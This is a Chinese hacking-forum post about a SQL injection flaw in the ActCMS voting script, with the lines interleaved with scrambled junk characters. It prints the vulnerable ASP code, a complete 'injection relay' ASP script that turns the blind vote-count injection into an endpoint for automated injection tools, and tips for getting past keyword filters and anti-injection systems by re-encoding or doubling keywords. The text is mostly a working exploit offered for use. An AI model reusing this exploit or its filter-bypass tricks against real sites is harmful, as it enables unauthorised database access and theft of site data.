& C o$ j! ~( G. n5 j( m看到ninty大牛的blog的一篇文章
# Q6 ?7 H; Y" X4 f+ Q) ?* n链接标记[url]http://www.forjj.com/?action=show&id=80[/url]+ k# e7 H7 W8 g
关于actcms漏洞的利用 by 3x qq:381862589
0 \$ W, Q$ n7 J/ V+ t转载请注明以上
/ y0 B1 V: a6 b. G, I6 D漏洞文件:2 T) C! W0 T z
/plus/vote/vote.asp, z3 X) y7 D ?9 x9 a
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
# L, ~* p: x( r( ?5 E* P3 n. Y+ p3 Z2 Q. Q; ^" z
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
; o+ b5 N, t' W( Y/ Z
6 _. Y, P' z" E3 response.end . c' u, k3 b5 A! }( ]
8 A4 p- g( K6 t
4 end if
( d) v2 ~: @) a' Q; X) p% C9 ^0 s. d; m& n5 u
5 for i=1 to request("voted").count 3 w/ @$ Y- R7 {, B4 Q4 s
6 u( F* u' m P* q! Y8 `6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
' Z2 Z- C3 j' ]4 s
0 o& h! a! `1 b( G' X7 a$ h7 next
9 c' j' P6 V5 _6 K# o5 |7 V: R1 P7 H. W
8....
u( U4 G( ?5 M& {6 T
9 h# ]1 o0 m% I5 l) N8 I9response.Redirect "index.asp?id="&id&""
1 U" d; p9 m! w0 o投票结束回跳转回index.asp这个投票结果页面3 @2 ^$ }7 m+ Z8 v" J( E
如果投票成功票数加1
3 v+ F" v/ _1 { C 失败票数不变1 j' ^& z( R/ ^2 j9 z7 d
如图:
$ `! C1 H! u( j7 F& @! E2 Y2 Rhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)% Y4 A/ t. Q7 j- M: c: z- B
( m2 C1 T3 X+ {
2009-12-27 13:20
+ ~0 n! G8 i# y& P+ F8 d
6 z" q2 I2 y- v: s, k# T利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了" o- h& F; E, L# e ~+ S
N* ]+ M" F1 ]/ W
本帖隐藏的内容需要回复才可以浏览1 q# z" \, O' s# R' H
我们用注入中转来实现这个注入具体代码如下:
1 H% q8 s# T, P6 |) @3 h' g先用寂寞的刺猬大牛的注入中转生成jmget.asp
2 ~% m4 a. |. J; ^9 K$ Z注入地址:http://localhost/actcms/plus/vote/vote.asp
+ E$ |. N0 r+ d注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项1 t, k9 V$ E1 |8 \
& k/ m- J' N; g6 G6 h0 f$ e; w
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
/ m4 U/ q( W" C# o. q
/ }% D( ^: ?( G/ V1 }: y02JmdcwName=request("jmdcw")
6 n+ J( {; T! e: u% J" s6 W
8 m3 U) d1 E: Q; N) u" D8 E" Z03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
9 U1 W1 f5 b" [* }0 w" U& [, Z' k4 L" W0 m/ d
04JmStr="id=1&voted=-1 or 1="&JmdcwName , J. {# ?3 b$ `+ q* u& @! Y
! Y l0 |5 b- V: b& |0 C: c# n05JmStr=URLEncoding(JmStr) - S, `& G% f! L& m
F* l+ N! O! i; A. i( |06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 e# b3 Z N2 ~( u2 B% W
, p3 Z- j m F3 Y1 ^& A7 i% n$ i07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"6 y8 g* {/ g& p- S6 Q$ }
1 w5 }) i5 K. C) A7 x" `, J5 P( U
08testurl=testurl & "?" & JmStr _& \! q i6 K2 I' t
. F8 u( _/ q2 }4 h0 P% Y09JMUrl=JMUrl & "?" & JmStr
5 L Y. y& [) Y, P7 m ?: i5 p/ \% P8 [/ Y1 k& R( h; S; Y& o
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) q4 w0 m% f, \9 ^7 ?; N. @1 }! @2 W1 W8 C
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
, c& s) r: z B V# N2 T
. v) G, a' D) l: y4 x12JmCok=replace(JmCok,chr(32),"%20")
, A( _ J9 S( X% R' C; [5 u; X- V; d% S* ~ C' L
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 " `6 Q: F+ e8 ~# J1 T; B
3 S3 e5 |1 N" q& V4 q1 c14
: O- q' d, _9 B Z! Z3 @
9 }5 B7 L$ D/ m+ E8 H; _$ }# a15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
3 `6 G; H4 u- m/ B# Q, q. }8 r
$ W7 b/ `1 ^9 C0 j0 }1 s0 U16 . W5 C+ Z$ i; I
# i, b; {5 G3 z; R0 h; U/ f# E17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 / u" l/ t. g! N& i5 a
+ \3 Z: v( X- H0 D5 x6 Q6 G( y18response.write test1&""&test2&""3 b. e; {" E3 e6 C& k0 L/ ?( C
" N; }7 |/ d7 l2 B
19
) _+ W) x& g3 q r7 Y
4 b8 _9 j2 n# o8 M8 h20if test1=test2 then '如前后记录相等,表示失败
/ w- M+ b1 Z/ X4 {5 i) L- s) D: V& Y6 W, M- m
21 response.write "failed"" D" }2 H$ D4 x1 f, ?: |: l5 _
! B2 Y% r7 Z& Z% j
22else ( A7 f9 V" J9 p$ ]/ u0 ]6 o
5 x, K, o6 A2 G' e- J" j) k
23 response.write "succeed"
" i" V# o2 G+ b( a' b' Y7 s9 E' B) N4 h" _6 u. K
24end if + x5 p5 m! W9 c7 K& H
$ g6 v+ @0 A T7 K* {% @6 C8 Y( y9 f
25
1 P" t p4 w1 T* w" ?% D# W, l8 \6 o, N: b- p2 j7 H
26response.write "by 3x"
$ A! B" n. X. r$ N" d
: A7 W _7 d# z1 d# i. V- f# J27 ! S! K- p; q+ H6 E! F. v& M5 s
/ h2 l' y3 W* J2 a! V8 `* ?7 x( S' ]28
7 E* x. }+ s `
& o: u6 u' X2 s7 v29Function PostData(PostUrl,PostStr,PostCok,PostRef)
* k) a7 u, N3 h V5 G, R) o
' b# h- _* b" w3 i30Dim Http 1 ?: j# s+ f3 M/ D# o- h
# W9 ?7 \' m: L8 `5 D31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ' \; Q; i* M; \& X4 R! ~( ^9 F
' S2 z$ x# m: k32With Http / @- T+ D3 b, L& e; t3 N( a
5 s; K4 c1 w2 T0 W8 [' B) V' S33
4 `% a) j0 A' I$ F$ K$ ^
& p: l5 Q( [2 c1 k a34.Open "GET",PostUrl,False
. B b: a% h6 z! ~. {# f# {" n" f6 z! E# g/ K& J8 b
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded". F6 K; N7 `7 H: q% N
0 E, Y+ Q: H3 O, J) T1 h36.SetRequestHeader "Referer",PostRef & V+ P4 I& m+ b9 A' Z5 M
$ i' Y2 K9 j) M1 I# F8 y37.SetRequestHeader "Cookie",PostCok
" }9 S' d7 G( Y- z' f- ?* i
* H8 m7 Y/ ?" o) U% D38.Send () 9 N; b* ?3 @- w
( W' I+ y: O0 l% R' N% b/ I
39PostData = .ResponseBody ) x1 ]; i5 J# Y2 r& T0 A7 Y
( Z' u; w2 c- K3 T' ~40End With+ K8 W I4 x* w' u0 p1 ^/ ]& M- u
3 R7 Q8 P3 }; j: c% \* G! \
41Set Http = Nothing7 g4 w& I6 G8 U" D0 Q. U% P
6 O a. q$ h7 r; D& ]; T5 n42PostData =bytes2BSTR(PostData) ( \' n# l- w. [1 ?7 G6 E, i
! F. C, w' |/ B& J43End Function, [$ O! d" |. }3 [ D/ ]
* I3 i, G3 {$ n: Q! Y
44 7 f# g6 u/ d0 A) D: T
2 P! h9 O; T$ o o, v3 X45
4 Z! o1 A ^% V* Q- |) j+ u& w" z9 M' B
46Function bytes2BSTR(vIn) 7 g5 H6 [' K0 n
. H/ `* @" r. I; U, [- \, s, y! h+ b3 F9 i47Dim strReturn
6 v. J7 R9 |" D, \+ l
' [7 M/ X7 l+ \5 i; V48Dim I, ThisCharCode, NextCharCode
- w |% j: h! |5 Q/ Z
# V1 d. ? \- f) _49strReturn = ""' q; b) N2 i' F% b, Q
$ b' P: S8 K" [4 P
50For I = 1 To LenB(vIn) - @) N+ o- B8 V7 f3 v
7 `) R% _) W/ L2 m3 E51ThisCharCode = AscB(MidB(vIn, I, 1)) $ h* \9 q# n: @( }6 [1 f! z
$ P$ _: b5 O" Z+ ~% s
52If ThisCharCode < &H80 Then$ @/ Y& q, U$ \. m4 E5 x& A
7 d; K8 R9 c3 b6 g) I2 w _% X53strReturn = strReturn & Chr(ThisCharCode) 0 u. G! s! u5 K+ W( _7 Y( L T! M- ~
) U3 T+ [# d, [& a, k2 X" N
54Else
9 f8 a4 {1 ^) d H& Z4 Y
6 i; c. v/ F2 f! v55NextCharCode = AscB(MidB(vIn, I + 1, 1))
! u& |9 g) C2 {. ?4 ?* s# g2 o! J2 `/ j- _4 v5 Q" a
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 1 {& K# F: r% o& l
' [5 v' I$ ^9 ~) a) K* z8 H' R57I = I + 1 7 _ a+ b8 A; o2 q8 U
& c* \- v/ e1 L. j
58End If8 ^: ?& ~3 D+ u' Z; k
6 P6 d @! b1 i M# x6 P4 F
59Next
" w" B$ r, ?' h
4 E9 J6 |, H0 Q& [' b, b& B4 x. |5 F60bytes2BSTR = strReturn
* o; ^! h4 y X' P; {
% c6 [$ c, K, C V4 G61End Function' ^4 A5 s! J# p4 h
# {* J" R% o1 K& K
62 , v( [* N: S# E9 P* c
2 C% Z- w9 c$ D4 _1 [& p F( O63Function URLEncoding(vstrin)
3 K* [* }' \0 v* d: ^0 l3 F3 S/ ~; e$ X& x) Q$ {
64strReturn=""
9 O2 q' A. ~1 A+ K( T2 K- F- e
* h2 ^$ N5 i0 a65Dim i 4 D/ [' |2 F' i& k. {5 ]
) r7 Q3 ~2 D4 B3 u1 _+ U$ @
66For i=1 To Len(vstrin) 2 E5 d: `- {! M0 X
' ?: v3 {% O8 v67ThisChr=Mid(vstrin,i,1) ' ]8 B$ r2 m% w) M0 p2 a1 B" o
( I5 L5 ]9 h( k3 X9 C68if Abs(Asc(ThisChr))< &HFF Then% f( ?3 V0 j' K+ \
3 [& i9 g+ R( T& N2 g a69strReturn=strReturn & ThisChr
; h) m* x3 L; z
, ~$ z1 V9 _% G" ^70Else
( h; M q1 R' v, c# s" h1 W& y7 ]# _, ?
71InnerCode=Asc(ThisChr)
% u7 J! i# k- u; D/ g8 z0 K, [! g: x4 J6 b, g+ U
72If InnerCode<0 Then- M, d6 z" d, b T1 A9 A- e
) L, @; G% s$ G7 L" _" Y3 X! t2 M73InnerCode=InnerCode + &H10000 - p. p0 n: c/ Z( C$ }) _: `) O
( n. _7 ~0 `0 q [4 B5 e; }8 v74End If
5 m8 z+ u* {9 A& {& q4 I" f0 Z. k8 F( w" @
75Hight1=(InnerCode And &HFF00) \&HFF % \' e7 t. q$ o+ u7 F
% l. V& @; o' f, u! Z* j76Low1=InnerCode And &HFF
' q% X; @' ~5 ]- B/ \8 Z1 F% P) D! ~. N W6 v$ K
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
* S( }3 C! U# W% _3 }$ |8 r0 J$ p! X+ b6 a9 @
78End if + E9 E0 l8 {; J: B3 x) r
; c* }2 c; P& z: u79Next
5 V6 }8 D& f5 A9 C
5 `" w8 b2 { w1 S) e! i80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ; g2 z: q) d# e, B" G
0 E A9 Z$ V& g# R' r81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 . U# a3 I1 u0 R' ^
- R; b" u$ G! g5 P h
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
6 N4 R6 h, c- I# ?
+ t x7 y. Y5 n5 Y8 k83URLEncoding=strReturn ( B8 Y6 j. Y0 r4 p3 Z) [
2 n. D3 ~/ ^& j9 U1 R _' H
84End Function
. B0 I7 Y0 T+ q% @8 t
+ C# r; h' H+ a( |4 r. C& T85 + ~6 j7 Y7 k) I# S6 i2 M2 ?
6 g6 B8 K8 z/ c$ b( O86function getSt(body) # N! H, E' a) ], P
& j* c# K, b- ?/ [8 b# D; G
87 startpot=instr(body,"投票人数:")+len("投票人数:") 6 K$ G. ~: z. l
a0 F$ E7 S+ i ]88 endpot=instr(startpot,body," ")
# o) L( r7 k: Q" p; O% T1 h; x% `+ x9 p& r
89 getSt=mid(body,startpot,endpot-startpot)
. V+ ?' G% W7 Y1 A, j. [1 m5 T5 m/ z/ y* b* D
90end function 0 M: i; N; i/ Z
0 Y4 ^1 ^/ n' c- ~: e: h9 Y91%>1 L$ {% N. U! M' A
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了3 C1 m0 C" z1 n+ X4 J
测试下效果:
. S. b j& i2 b) b K6 E投票成功:3 N1 O& H# U, v ?0 q
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)+ }0 m/ }* X. L7 C' z5 v9 m
6 y4 a4 H. Y# ^
2009-12-27 13:29: W2 W; `3 [' A7 q1 f8 E6 k
投票失败
) Y. r( s0 \$ a4 `1 i: U! Y# rhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
+ x0 M4 I# m: |# s `/ d. _' U2 q; L! r* n& q
2009-12-27 13:29) s+ i' \5 v4 V4 _5 f
-------------------------------------------------------------------------------
. R, g) p; {% U& w再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以' A$ D$ H J* j/ G6 A% p3 @
很抱歉。。。只能用单线程工具去注入。。。。。
) X( C. l! E0 z# h% ^所以失败。。。不好意思。。。
+ e, Z- r+ Q" s-------------------------------------------------------------------------------2 e* b# y" ]- j5 \5 L! N
7 R! z' x a* u7 L. j$ G. v注入中转的一些其他应用: t {$ z7 d9 |- S$ K
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
( Z' j, p( Y0 r Z1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
1 X" e* d- H& ?8 u7 x+ l! W2.post注入转成get型的注入,方便我们使用工具来跑
5 }5 \) i8 R. Y" R3 r! ]6 M7 A9 i3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"); X; E" K) G. E9 m+ x- h1 l1 I
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过2 k/ t8 c( ^: |; C1 N7 h( g
; B/ N; Y% u3 K- E2 W; u |